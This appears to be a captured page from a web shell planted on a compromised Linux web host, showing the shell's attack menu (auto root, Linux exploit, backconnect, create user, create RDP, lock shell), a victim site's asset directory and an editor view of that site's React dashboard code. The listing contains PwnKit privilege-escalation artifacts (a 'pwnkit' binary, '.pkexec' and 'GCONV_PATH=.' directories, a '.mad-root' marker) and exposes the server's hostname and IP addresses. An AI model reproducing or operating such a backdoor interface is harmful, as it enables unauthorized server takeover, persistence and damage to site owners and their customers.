Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.216.236
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechs.io /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
.htaccess
127
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
AboutPage-BFl-6cdQ-xcVGd7Gs.js
11.09
KB
-rw-r--r--
AboutPage-BFl-6cdQ.js
11.01
KB
-rw-r--r--
AboutPage-CRYHjz8B.js
11.08
KB
-rw-r--r--
AboutPage-D8o4mb0o.js
11.01
KB
-rw-r--r--
AccountDock-CByk1p32-CvIHjYO8....
5.12
KB
-rw-r--r--
AccountDock-CByk1p32.js
5.09
KB
-rw-r--r--
AccountDock-McBBbuGp.js
5.09
KB
-rw-r--r--
AccountDock-jB2pi2PH.js
4.55
KB
-rw-r--r--
AdminPanelPage-BKaudkeA-BfT7Qn...
65.79
KB
-rw-r--r--
AdminPanelPage-BKaudkeA.js
65.75
KB
-rw-r--r--
AdminPanelPage-hxg7mlUz.js
65.77
KB
-rw-r--r--
AdminPanelPage-kvHyxrbX.js
65.78
KB
-rw-r--r--
AuthPage-CWZaRQ53.js
7.93
KB
-rw-r--r--
AuthPage-D2oEk9fK.js
7.93
KB
-rw-r--r--
AuthPage-IoEHnwV2-DMx3f31D.js
7.99
KB
-rw-r--r--
AuthPage-IoEHnwV2.js
7.93
KB
-rw-r--r--
BlogPage-DGMv-nlg.js
1.05
KB
-rw-r--r--
Button-BI6JHCK5.js
894
B
-rw-r--r--
Button-D2wDOozD-BtIMHGpv.js
898
B
-rw-r--r--
Button-D2wDOozD.js
894
B
-rw-r--r--
Button-DPbE3uKx.js
894
B
-rw-r--r--
ClientDashboardPage-BFRChU8j.j...
21.08
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u-C...
21.13
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u.j...
21.04
KB
-rw-r--r--
ClientDashboardPage-DAtumH_H.j...
21.11
KB
-rw-r--r--
ContactPage-BnwClT5m-pkrl2KVG....
9.63
KB
-rw-r--r--
ContactPage-BnwClT5m.js
9.53
KB
-rw-r--r--
ContactPage-CQKICACj.js
9.59
KB
-rw-r--r--
ContactPage-Dyl_poQ9.js
9.53
KB
-rw-r--r--
DemoShellPage-BDFaqClQ-N4jADs2...
11.26
KB
-rw-r--r--
DemoShellPage-BDFaqClQ.js
11.17
KB
-rw-r--r--
DemoShellPage-CXk-WyIs.js
13.31
KB
-rw-r--r--
DemoShellPage-CnphZX4a.js
11.17
KB
-rw-r--r--
ProductDetailsPage--xf82Wdc.js
12.51
KB
-rw-r--r--
ProductDetailsPage-Bst2BMXl.js
12.58
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO-Bo...
12.6
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO.js
12.51
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q-BPq82Yl...
42.93
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q.js
42.96
KB
-rw-r--r--
SiteChrome-CkbUXxf_.js
7.16
KB
-rw-r--r--
SiteChrome-D3D3Aw-2.js
6.2
KB
-rw-r--r--
SiteChrome-DJFTF4Ff-Fp7FHZ2Q.j...
6.58
KB
-rw-r--r--
SiteChrome-DJFTF4Ff.js
6.56
KB
-rw-r--r--
StorePage-CCLakifp.js
22.82
KB
-rw-r--r--
StorePage-Cca-p5Z_-D_zPBVRK.js
22.89
KB
-rw-r--r--
StorePage-Cca-p5Z_.js
22.75
KB
-rw-r--r--
StorePage-D3IosLOe.js
22.75
KB
-rw-r--r--
arrow-right-1RKBaJm4.js
344
B
-rw-r--r--
arrow-right-DF_6IH5_-B53OQOKh....
348
B
-rw-r--r--
arrow-right-DF_6IH5_.js
344
B
-rw-r--r--
arrow-right-DwjVqvji.js
344
B
-rw-r--r--
circle-check-B9su1Bzf.js
352
B
-rw-r--r--
circle-check-CTBPBmCf-n9VsgXx6...
366
B
-rw-r--r--
circle-check-CTBPBmCf.js
352
B
-rw-r--r--
circle-check-u9adkwRC.js
352
B
-rw-r--r--
clock-3-Cu3htX6m-rnEJxpV8.js
370
B
-rw-r--r--
clock-3-Cu3htX6m.js
361
B
-rw-r--r--
clock-3-DF9c78Tc.js
361
B
-rw-r--r--
clock-3-edy3tJrX.js
361
B
-rw-r--r--
createLucideIcon-9GDfkjCp-1qLQ...
1.52
KB
-rw-r--r--
createLucideIcon-9GDfkjCp.js
1.54
KB
-rw-r--r--
createLucideIcon-BWeLwUUK.js
1.54
KB
-rw-r--r--
createLucideIcon-CMq6eM5C.js
1.54
KB
-rw-r--r--
credit-card-AIrys0eB.js
386
B
-rw-r--r--
credit-card-Cd-r6u3q-EXOseSEX....
395
B
-rw-r--r--
credit-card-Cd-r6u3q.js
386
B
-rw-r--r--
credit-card-Q8P3iw5M.js
386
B
-rw-r--r--
eye-BzKTFY0m.js
431
B
-rw-r--r--
eye-C03LuO7d-D6_xK8Ps.js
445
B
-rw-r--r--
eye-C03LuO7d.js
431
B
-rw-r--r--
eye-Cx56kTmG.js
431
B
-rw-r--r--
firebase-DEg1zKlq-B7QEUBhI.js
162.07
KB
-rw-r--r--
firebase-DEg1zKlq.js
163.55
KB
-rw-r--r--
index-BWPb6fzk.css
62.31
KB
-rw-r--r--
index-Bvu9zNsI-DX1QA0ik.js
69.18
KB
-rw-r--r--
index-Bvu9zNsI.js
69.19
KB
-rw-r--r--
index-Bz4UyWnK.js
171.01
KB
-rw-r--r--
index-CBe4ypir.css
60.82
KB
-rw-r--r--
index-CDOUjI53.js
174.43
KB
-rw-r--r--
index-CTlm15d2.js
171.05
KB
-rw-r--r--
index-DNmw2oyp.css
61.82
KB
-rw-r--r--
index-Dwjfbpr8.js
171.3
KB
-rw-r--r--
loader-circle-D7oyO-2w.js
323
B
-rw-r--r--
loader-circle-DMRH_mR_.js
323
B
-rw-r--r--
loader-circle-IEDYPIER-CuEXV5k...
332
B
-rw-r--r--
loader-circle-IEDYPIER.js
323
B
-rw-r--r--
logo-pVcFpWoF.png
506.48
KB
-rw-r--r--
mail-BJu8buSm-BZTw5WIs.js
404
B
-rw-r--r--
mail-BJu8buSm.js
395
B
-rw-r--r--
mail-DFP30gPy.js
395
B
-rw-r--r--
mail-mV4CdDUR.js
395
B
-rw-r--r--
output-onlinegiftools-1-1-BQn0...
485
B
-rw-r--r--
output-onlinegiftools-1-1-BZ2C...
3.78
MB
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
494
B
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
485
B
-rw-r--r--
output-onlinegiftools-1-1-C7Gw...
485
B
-rw-r--r--
output-onlinegiftools-2-BMi0cX...
4
MB
-rw-r--r--
output-onlinegiftools-2-BnXksE...
753
B
-rw-r--r--
output-onlinegiftools-2-BnXksE...
744
B
-rw-r--r--
output-onlinegiftools-2-CNwtJS...
744
B
-rw-r--r--
output-onlinegiftools-2-D4M_L7...
744
B
-rw-r--r--
package-check-DDRkTBqD.js
605
B
-rw-r--r--
phone-1yK55Cb0.js
574
B
-rw-r--r--
phone-C1JglSQK-DjOzq1OR.js
578
B
-rw-r--r--
phone-C1JglSQK.js
574
B
-rw-r--r--
phone-v32ABdJw.js
944
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
refresh-cw-B3cmlBmt.js
500
B
-rw-r--r--
send-ClB1CbTm.js
470
B
-rw-r--r--
settings-BZIrvXP2.js
905
B
-rw-r--r--
settings-Biipnq-T-D6uXb2ZX.js
909
B
-rw-r--r--
settings-Biipnq-T.js
905
B
-rw-r--r--
settings-WguBlejS.js
905
B
-rw-r--r--
shopping-bag-BgB0pOAF.js
804
B
-rw-r--r--
shopping-bag-CHYQamNb.js
804
B
-rw-r--r--
shopping-bag-DdF-XavL-GKTs5aMq...
803
B
-rw-r--r--
shopping-bag-DdF-XavL.js
804
B
-rw-r--r--
truck-CcDe-2TB.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM-C5hCHi2O.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM.js
1.58
KB
-rw-r--r--
truck-DiaBXU-o.js
1.58
KB
-rw-r--r--
usePortalSocket-BunRYVgj.js
15.98
KB
-rw-r--r--
usePortalSocket-CijdJaF-.js
16.4
KB
-rw-r--r--
usePortalSocket-DaFfMY0_-D7Cb-...
16.41
KB
-rw-r--r--
usePortalSocket-DaFfMY0_.js
16.41
KB
-rw-r--r--
user-plus-DHnwp5UO.js
868
B
-rw-r--r--
user-plus-DVissIdY.js
868
B
-rw-r--r--
user-plus-DoawIM15--VPezORf.js
867
B
-rw-r--r--
user-plus-DoawIM15.js
868
B
-rw-r--r--
user-round-CppNcdCW-BRXg1PZR.j...
1.54
KB
-rw-r--r--
user-round-CppNcdCW.js
1.55
KB
-rw-r--r--
user-round-D64-Xj15.js
1.15
KB
-rw-r--r--
user-round-DU-BBHF0.js
1.55
KB
-rw-r--r--
x-BmeVBLEj.js
334
B
-rw-r--r--
x-COYnIX-z-_goiIEX7.js
343
B
-rw-r--r--
x-COYnIX-z.js
334
B
-rw-r--r--
x-DgvKnt-9.js
334
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClientDashboardPage-D7gOu81u-Cyk_bSjF.js
import{c as ge,o as fe,v as ye,s as ve,P as l,m as w,u as e,Q as F}from"./index-CDOUjI53.js";import{P as je,I as te}from"./AccountDock-CByk1p32-CvIHjYO8.js";import{c as se,b as G}from"./Button-D2wDOozD-BtIMHGpv.js";import{E as we,H as Ne,R as ke,q as Se,O as Pe}from"./usePortalSocket-DaFfMY0_-D7Cb-8hJ.js";import{r as K}from"./loader-circle-IEDYPIER-CuEXV5kI.js";import{n as $e}from"./user-plus-DoawIM15--VPezORf.js";import{r as ae}from"./circle-check-CTBPBmCf-n9VsgXx6.js";import{t as R}from"./credit-card-Cd-r6u3q-EXOseSEX.js";import{h as Ie}from"./createLucideIcon-9GDfkjCp-1qLQ_zBO.js";import{o as ie}from"./user-round-CppNcdCW-BRXg1PZR.js";import{c as Ce}from"./x-COYnIX-z-_goiIEX7.js";/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Oe=Ie("Download",[["path",{d:"M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4",key:"ih7n3h"}],["polyline",{points:"7 10 12 15 17 10",key:"2ggqvy"}],["line",{x1:"12",x2:"12",y1:"15",y2:"3",key:"1vk2je"}]]);function V(a){return a==null||a===""?"Not priced":new Intl.NumberFormat("en-US",{style:"currency",currency:"USD",maximumFractionDigits:0}).format(a)}function re(a){return a?new Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit"}).format(new Date(a)):"No date"}function q(a){return{pending_review:"Pending review",awaiting_payment:"Awaiting payment",completed:"Completed",active:"Active",cancelled:"Cancelled",expired:"Expired"}[a]||a}function Q(a){return{pending_review:"border-amber-200 bg-amber-50 text-amber-800",awaiting_payment:"border-cyan-200 bg-cyan-50 text-cyan-800",completed:"border-emerald-200 bg-emerald-50 text-emerald-800",active:"border-emerald-200 bg-emerald-50 text-emerald-800",cancelled:"border-slate-200 bg-slate-50 text-slate-600",expired:"border-red-200 bg-red-50 text-red-700"}[a]||"border-slate-200 bg-slate-50 text-slate-700"}function W(a,n){return(a.some(d=>d.id===n.id)?a.map(d=>d.id===n.id?{...d,...n}:d):[n,...a]).sort((d,c)=>new Date(c.updatedAt||c.createdAt)-new Date(d.updatedAt||d.createdAt))}function ze(a,n){return a.filter(d=>d.id!==n)}function ne(a,n,d){return a.map(c=>{if(c.id!==n)return c;const g=c.messages||[];return g.some(m=>m.id===d.id)?c:{...c,messages:[...g,d],updatedAt:d.createdAt}})}function Ae(a){return[["Project",a.projectName],["Business",a.businessType],["Timeline",a.timeline],["Budget",a.budgetRange],["Contact",a.contactPreference]].filter(([,n])=>n)}function le(a){var n,d;const c=(a==null?void 0:a.providers)||{};return[(n=c.paypal)!=null&&n.enabled?["paypal",c.paypal.label||"PayPal",Pe]:null,(d=c.stripe)!=null&&d.enabled?["stripe",c.stripe.label||"Stripe",R]:null].filter(Boolean)}function C(a,n){var d;for(const c of n){const g=(d=a.get(c))==null?void 0:d.trim();if(g)return g}return""}function O(a,n,d){d&&(a[n]=d)}function Te({order:a,paymentSettings:n,onClose:d,onOrderPaid:c}){var g,m;const u=l.useMemo(()=>le(n),[n]),[x,P]=l.useState(((g=u[0])==null?void 0:g[0])||""),[z,k]=l.useState(!1),[A,N]=l.useState("");l.useEffect(()=>{u.length&&!u.some(([f])=>f===x)&&P(u[0][0])},[x,u]);async function $(){var f;if(!x){N("No payment provider is enabled right now.");return}k(!0),N("");try{const y=await w(`/api/portal/orders/${a.id}/checkout`,{method:"POST",body:JSON.stringify({provider:x})});if(!((f=y.checkout)!=null&&f.url)){N("Checkout could not be created. Please try again or contact support.");return}window.location.assign(y.checkout.url)}catch(y){N(y.message)}finally{k(!1)}}return e.jsx("div",{className:"fixed inset-0 z-[80] grid place-items-center overflow-y-auto bg-slate-950/75 px-4 py-6 backdrop-blur-sm",children:e.jsxs("section",{className:"w-full max-w-lg overflow-hidden rounded-lg border border-white/15 bg-white shadow-2xl",children:[e.jsxs("div",{className:"flex items-start justify-between gap-4 bg-slate-950 p-5 text-white",children:[e.jsxs("div",{children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-black uppercase text-cyan-100",children:[e.jsx(ie,{size:16,"aria-hidden":"true"}),(n==null?void 0:n.appName)||"Secure checkout"]}),e.jsx("h2",{className:"mt-2 text-2xl font-black",children:"Pay to get your product"}),e.jsx("p",{className:"mt-2 text-sm font-semibold text-zinc-300",children:(m=a.product)==null?void 0:m.title})]}),e.jsx("button",{type:"button",onClick:d,className:"grid h-10 w-10 place-items-center rounded-md border border-white/20 transition hover:bg-white/10","aria-label":"Close payment",children:e.jsx(Ce,{size:18,"aria-hidden":"true"})})]}),e.jsxs("div",{className:"space-y-5 p-5",children:[e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-slate-50 p-4",children:[e.jsx("span",{className:"block text-xs font-black uppercase text-slate-500",children:"Final negotiated price"}),e.jsx("strong",{className:"mt-1 block text-3xl font-black text-slate-950",children:V(a.negotiatedPrice)})]}),e.jsx("div",{className:"grid gap-2 sm:grid-cols-3",children:u.map(([f,y,T])=>e.jsxs("button",{type:"button",onClick:()=>{N(""),P(f)},className:`inline-flex min-h-11 items-center justify-center gap-2 rounded-md border px-3 text-sm font-black transition ${x===f?"border-slate-950 bg-slate-950 text-white":"border-slate-300 bg-white text-slate-700 hover:border-slate-500"}`,children:[e.jsx(T,{size:16,"aria-hidden":"true"}),y]},f))}),u.length===0&&e.jsx("div",{className:"rounded-lg border border-amber-200 bg-amber-50 p-4 text-sm font-semibold leading-6 text-amber-800",children:"Online payments are disabled. Please contact the admin to enable PayPal or Stripe."}),A&&e.jsx("div",{className:"rounded-md border border-red-200 bg-red-50 p-3 text-sm font-semibold text-red-700",children:A}),e.jsxs(G,{type:"button",onClick:$,className:"w-full rounded-xl bg-cyan-700 hover:bg-cyan-800",disabled:z||u.length===0,children:[z?e.jsx(K,{className:"animate-spin",size:17,"aria-hidden":"true"}):e.jsx(R,{size:17,"aria-hidden":"true"}),"Continue to checkout"]})]})]})})}function qe(){var a;const{user:n,loading:d}=ge(),c=fe(),g=ye(),[m]=ve(),[u,x]=l.useState([]),[P,z]=l.useState([]),[k,A]=l.useState(null),[N,$]=l.useState(m.get("order")||""),[f,y]=l.useState(!0),[T,M]=l.useState(null),[_,E]=l.useState(""),[U,v]=l.useState(""),[J,I]=l.useState(""),[de,Y]=l.useState(!0),[oe,Z]=l.useState(!1),[ce,X]=l.useState({}),S=l.useRef({}),p=l.useMemo(()=>u.find(t=>t.id===N)||u[0]||null,[u,N]),me=l.useMemo(()=>u.filter(t=>t.status!=="completed"),[u]),ee=l.useMemo(()=>le(k),[k]),h=l.useCallback(async(t={})=>{if(!n)return;const s=(t==null?void 0:t.silent)===!0;s||(y(!0),v(""));try{const[i,r,o]=await Promise.all([w("/api/portal/orders"),w("/api/portal/subscriptions"),w("/api/site/payment-settings")]),b=(i==null?void 0:i.orders)||[];x(b),z((r==null?void 0:r.products)||[]),A(o==null?void 0:o.payment),$(j=>{var D;return b.some(be=>be.id===j)?j:m.get("order")||((D=b[0])==null?void 0:D.id)||""})}catch(i){s||v(i.message)}finally{s||y(!1)}},[m,n]),H=l.useCallback((t,s)=>{X(i=>{const r={...i[t]||{}};if(delete r[s],Object.keys(r).length===0){const o={...i};return delete o[t],o}return{...i,[t]:r}})},[]),L=l.useCallback((t,s)=>{var i;const r=(i=t.payload)==null?void 0:i.user;if(!t.orderId||!(r!=null&&r.id)||r.id===(n==null?void 0:n.id))return;const o=`${t.orderId}:${r.id}`;if(window.clearTimeout(S.current[o]),!s){delete S.current[o],H(t.orderId,r.id);return}X(b=>({...b,[t.orderId]:{...b[t.orderId]||{},[r.id]:r.name||"SignalTech"}})),S.current[o]=window.setTimeout(()=>{delete S.current[o],H(t.orderId,r.id)},3200)},[H,n==null?void 0:n.id]),pe=l.useCallback(t=>{var s,i;if(t.type==="connected"&&Y(((s=t.payload)==null?void 0:s.adminOnline)??!0),(t.type==="order.created"||t.type==="order.updated")&&x(r=>W(r,t.payload.order)),t.type==="order.deleted"){const r=((i=t.payload)==null?void 0:i.orderId)||t.orderId;x(o=>ze(o,r)),$(o=>o===r?"":o)}t.type==="chat.message"&&x(r=>ne(r,t.orderId,t.payload.message)),t.type==="typing.start"&&L(t,!0),t.type==="typing.stop"&&L(t,!1),t.type==="subscription.updated"&&h()},[h,L]),{connected:B,sendJson:ue}=we(!!n,pe);l.useEffect(()=>{if(!n)return;let t=!1;async function s(){var r;try{const o=await w("/api/portal/presence",{method:"POST",body:JSON.stringify({})});t||(Z(!0),Y(((r=o.presence)==null?void 0:r.adminOnline)??!0))}catch{t||Z(!1)}}s();const i=window.setInterval(s,2e4);return()=>{t=!0,window.clearInterval(i)}},[n]),l.useEffect(()=>{if(!n||B)return;const t=window.setInterval(()=>{h({silent:!0})},3500);return()=>window.clearInterval(t)},[h,B,n]),l.useEffect(()=>()=>{Object.values(S.current).forEach(t=>window.clearTimeout(t)),S.current={}},[]),l.useEffect(()=>{!d&&!n&&y(!1)},[d,n]),l.useEffect(()=>{h()},[h]),l.useEffect(()=>{const t=m.get("provider"),s=m.get("orderId"),i=C(m,["token","paypalOrderId"]),r=C(m,["session_id","sessionId"]);if(m.get("payment")==="success"&&s&&["paypal","stripe"].includes(t)){const o={provider:t};O(o,"paypalOrderId",i),O(o,"sessionId",r),w(`/api/portal/orders/${s}/payments/confirm-success`,{method:"POST",body:JSON.stringify(o)}).then(b=>{x(j=>W(j,b.order)),I("Payment successful. Product delivery is unlocked."),c("/dashboard",{replace:!0})}).catch(b=>v(b.message))}},[c,m]),l.useEffect(()=>{const t=m.get("provider"),s=m.get("productId"),i=(()=>{try{return JSON.parse(sessionStorage.getItem(`management_checkout_${s}`)||"null")}catch{return null}})(),r=C(m,["subscription_id","subscriptionId"]),o=C(m,["token","paypalOrderId"])||((i==null?void 0:i.provider)==="paypal"?i.id:""),b=C(m,["session_id","sessionId"]);if(m.get("subscription")==="success"&&s&&["paypal","stripe"].includes(t)){const j={provider:t};O(j,"paypalOrderId",o),O(j,"paypalSubscriptionId",r),O(j,"sessionId",b),w(`/api/portal/subscriptions/${s}/confirm-success`,{method:"POST",body:JSON.stringify(j)}).then(()=>{sessionStorage.removeItem(`management_checkout_${s}`),I("30-day management package is active. You can renew before or after it expires."),c("/dashboard",{replace:!0}),h()}).catch(D=>v(D.message))}},[h,c,m]);async function xe(t,s){var i;E(`${t}-${s}`),v("");try{const r=await w(`/api/portal/subscriptions/${t}/start`,{method:"POST",body:JSON.stringify({provider:s})});if(((i=r.checkout)==null?void 0:i.mode)==="hosted"){if(!r.checkout.url){v("Checkout could not be created. Please try again or contact support.");return}sessionStorage.setItem(`management_checkout_${t}`,JSON.stringify({provider:s,id:r.checkout.id})),window.location.assign(r.checkout.url);return}I("Management subscription activated."),h()}catch(r){v(r.message)}finally{E("")}}async function he(t){if(window.confirm("Are you sure you want to cancel this subscription?")){E(`${t}-cancel`),v("");try{await w(`/api/portal/subscriptions/${t}`,{method:"DELETE"}),I("Management subscription cancelled."),h()}catch(s){v(s.message)}finally{E("")}}}return d||f?e.jsx("main",{className:"grid min-h-screen place-items-center bg-slate-950 text-white",children:e.jsx(K,{className:"animate-spin","aria-hidden":"true"})}):n?e.jsxs("main",{className:"min-h-screen overflow-x-hidden bg-[#f5efe6]",children:[e.jsx(je,{}),e.jsx("section",{className:"bg-slate-950 px-4 py-7 text-white sm:px-6 lg:px-8",children:e.jsxs("div",{className:"mx-auto flex max-w-[1500px] flex-wrap items-center justify-between gap-4",children:[e.jsxs("div",{children:[e.jsxs(F,{to:"/",className:"inline-flex items-center gap-2 text-sm font-bold text-cyan-100 hover:text-white",children:[e.jsx(se,{size:16,"aria-hidden":"true"}),"Products"]}),e.jsx("h1",{className:"mt-4 text-3xl font-black leading-tight sm:text-5xl",children:"Client Dashboard"}),e.jsx("p",{className:"mt-3 max-w-2xl text-sm leading-6 text-zinc-300",children:"Orders, active projects, live consultation, payments, delivery, and management subscriptions."})]}),e.jsxs("button",{type:"button",onClick:h,className:"inline-flex min-h-11 items-center gap-2 rounded-md border border-white/20 px-4 text-sm font-black transition hover:bg-white/10",children:[e.jsx(Ne,{size:16,"aria-hidden":"true"}),"Refresh"]})]})}),e.jsx("section",{className:"mx-auto grid max-w-[1500px] gap-4 px-4 py-6 sm:px-6 md:grid-cols-3 lg:px-8",children:[["Orders",u.length,te],["Active projects",me.length,ke],["Completed",u.filter(t=>t.status==="completed").length,ae]].map(([t,s,i])=>e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-white p-4 shadow-sm",children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-xs font-black uppercase text-slate-500",children:[e.jsx(i,{size:15,"aria-hidden":"true"}),t]}),e.jsx("strong",{className:"mt-2 block text-3xl font-black text-slate-950",children:s})]},t))}),e.jsxs("section",{className:"mx-auto grid max-w-[1500px] gap-6 px-4 pb-10 sm:px-6 lg:px-8 xl:grid-cols-[minmax(280px,380px)_minmax(0,1fr)]",children:[e.jsxs("aside",{className:"min-w-0 rounded-lg border border-slate-200 bg-white p-4 shadow-xl shadow-slate-200/70 xl:sticky xl:top-6 xl:self-start",children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-black uppercase text-cyan-800",children:[e.jsx(te,{size:16,"aria-hidden":"true"}),"Order history"]}),e.jsxs("div",{className:"mt-4 grid auto-cols-[minmax(250px,82vw)] grid-flow-col gap-3 overflow-x-auto pb-2 xl:auto-cols-auto xl:grid-flow-row xl:overflow-visible xl:pb-0",children:[u.map(t=>{var s;return e.jsxs("button",{type:"button",onClick:()=>$(t.id),className:`h-full min-w-0 rounded-lg border p-3 text-left transition ${(p==null?void 0:p.id)===t.id?"border-cyan-500 bg-cyan-50":"border-slate-200 bg-white hover:border-slate-400"}`,children:[e.jsx("span",{className:"clamp-2 block text-sm font-black leading-5 text-slate-950",children:(s=t.product)==null?void 0:s.title}),e.jsx("span",{className:`mt-2 inline-flex rounded-full border px-2 py-1 text-xs font-black uppercase tracking-normal ${Q(t.status)}`,children:q(t.status)}),e.jsx("span",{className:"mt-2 block text-xs font-bold text-slate-500",children:re(t.updatedAt||t.createdAt)})]},t.id)}),u.length===0&&e.jsx("div",{className:"rounded-lg border border-slate-200 bg-slate-50 p-5 text-sm font-semibold text-slate-600",children:"No orders yet."})]})]}),e.jsxs("section",{className:"min-w-0 overflow-hidden rounded-lg border border-slate-200 bg-white shadow-xl shadow-slate-200/70",children:[!p&&e.jsx("div",{className:"p-6 text-sm font-semibold text-slate-600",children:"Select an order to open the workspace."}),p&&e.jsxs("div",{className:"grid min-h-0 xl:min-h-[720px] xl:grid-cols-[minmax(280px,340px)_minmax(0,1fr)]",children:[e.jsxs("aside",{className:"min-w-0 border-b border-slate-200 p-4 sm:p-5 xl:border-b-0 xl:border-r",children:[e.jsx("span",{className:`inline-flex rounded-full border px-3 py-1 text-xs font-black uppercase ${Q(p.status)}`,children:q(p.status)}),e.jsx("h2",{className:"mt-4 text-xl font-black leading-tight text-slate-950 sm:text-2xl",children:(a=p.product)==null?void 0:a.title}),e.jsx("div",{className:"mt-4 grid gap-3 sm:grid-cols-2 xl:grid-cols-1",children:Ae(p.formData||{}).map(([t,s])=>e.jsxs("div",{className:"rounded-lg border border-slate-200 bg-slate-50 p-3",children:[e.jsx("span",{className:"block text-xs font-black uppercase text-slate-500",children:t}),e.jsx("span",{className:"mt-1 block break-words text-sm font-semibold text-slate-800",children:s})]},t))}),e.jsxs("div",{className:"mt-4 rounded-lg border border-slate-200 p-3",children:[e.jsx("span",{className:"block text-xs font-black uppercase text-slate-500",children:"Final price"}),e.jsx("strong",{className:"mt-1 block text-2xl font-black text-slate-950",children:V(p.negotiatedPrice)})]}),p.status==="awaiting_payment"&&e.jsxs("button",{type:"button",onClick:()=>M(p),className:"mt-4 inline-flex min-h-12 w-full items-center justify-center gap-2 rounded-xl bg-amber-400 px-4 text-sm font-black text-slate-950 shadow-xl shadow-amber-200/70 transition hover:-translate-y-0.5 hover:bg-amber-300",children:[e.jsx(R,{size:17,"aria-hidden":"true"}),"Pay to get your product"]}),p.status==="completed"&&e.jsxs("div",{className:"mt-4 rounded-lg border border-emerald-200 bg-emerald-50 p-4 text-sm font-semibold text-emerald-800",children:[e.jsxs("div",{className:"flex items-center gap-2 font-black",children:[e.jsx(ae,{size:17,"aria-hidden":"true"}),"Product delivery unlocked"]}),p.deliveryAssetsUrl?e.jsxs("a",{href:p.deliveryAssetsUrl,target:"_blank",rel:"noreferrer",className:"mt-3 inline-flex min-h-10 items-center gap-2 rounded-md bg-emerald-700 px-3 text-xs font-black text-white transition hover:bg-emerald-800",children:[e.jsx(Oe,{size:15,"aria-hidden":"true"}),"Open delivery assets"]}):e.jsx("p",{className:"mt-2 leading-6",children:"The admin has not attached delivery assets yet."})]})]}),e.jsx(Se,{order:p,currentUser:n,title:"Live chat",placeholder:"Message your SignalTech expert",counterpartLabel:"SignalTech Admin",counterpartOnline:de,counterpartStatus:"Online 24/7",typingUsers:Object.values(ce[p.id]||{}),socketConnected:B||oe,sendSocketEvent:ue,messageEndpoint:t=>`/api/portal/orders/${t}/messages`,onMessageSent:t=>x(s=>ne(s,p.id,t)),minHeightClass:"h-[620px] max-h-[calc(100vh-120px)] sm:h-[680px] xl:h-[720px] xl:max-h-none",actionBar:p.status==="awaiting_payment"?e.jsx("div",{className:"border-t border-amber-200 bg-amber-50 p-4",children:e.jsxs("button",{type:"button",onClick:()=>M(p),className:"inline-flex min-h-12 w-full items-center justify-center gap-2 rounded-xl bg-amber-400 px-4 text-sm font-black text-slate-950 transition hover:bg-amber-300",children:[e.jsx(R,{size:17,"aria-hidden":"true"}),"Pay to get your product"]})}):null})]})]})]}),e.jsx("section",{className:"mx-auto max-w-[1500px] px-4 pb-12 sm:px-6 lg:px-8",children:e.jsxs("section",{className:"rounded-lg border border-slate-200 bg-white p-5 shadow-xl shadow-slate-200/70",children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-black uppercase text-cyan-800",children:[e.jsx(ie,{size:16,"aria-hidden":"true"}),"Subscriptions"]}),e.jsxs("div",{className:"mt-5 grid gap-3",children:[P.map(({product:t,subscription:s})=>e.jsxs("div",{className:"grid gap-3 rounded-lg border border-slate-200 p-4 lg:grid-cols-[1fr_auto] lg:items-center",children:[e.jsxs("div",{children:[e.jsx("p",{className:"font-black text-slate-950",children:t.title}),e.jsxs("p",{className:"mt-1 text-sm font-semibold text-slate-600",children:["24/7 Website Management & Handling: ",V(t.defaultSubscriptionPrice),"/30 days"]}),s?e.jsxs("div",{className:"mt-2 flex flex-wrap items-center gap-2",children:[e.jsx("span",{className:`inline-flex rounded-full border px-2 py-1 text-xs font-black uppercase ${Q(s.status)}`,children:q(s.status)}),s.status==="active"&&e.jsxs("span",{className:"text-xs font-black uppercase text-cyan-800",children:[s.daysRemaining," day",s.daysRemaining===1?"":"s"," left"]}),s.expiresAt&&e.jsxs("span",{className:"text-xs font-bold text-slate-500",children:["Expires ",re(s.expiresAt)]})]}):e.jsx("p",{className:"mt-2 text-xs font-black uppercase text-slate-500",children:"Not purchased yet"})]}),e.jsxs("div",{className:"grid gap-2",children:[ee.length?e.jsx("div",{className:"grid grid-cols-2 gap-2",children:ee.map(([i,r,o])=>e.jsxs("button",{type:"button",onClick:()=>xe(t.id,i),disabled:_===`${t.id}-${i}`,className:"inline-flex min-h-10 items-center justify-center gap-2 rounded-md bg-slate-950 px-3 text-xs font-black capitalize text-white transition hover:bg-slate-800 disabled:opacity-60",children:[_===`${t.id}-${i}`?e.jsx(K,{className:"animate-spin",size:15,"aria-hidden":"true"}):e.jsx(o,{size:15,"aria-hidden":"true"}),s?`Renew 30 days with ${r}`:`Buy 30 days with ${r}`]},i))}):e.jsx("div",{className:"rounded-md border border-slate-200 bg-slate-50 px-3 py-2 text-xs font-bold text-slate-600",children:"Payment providers are 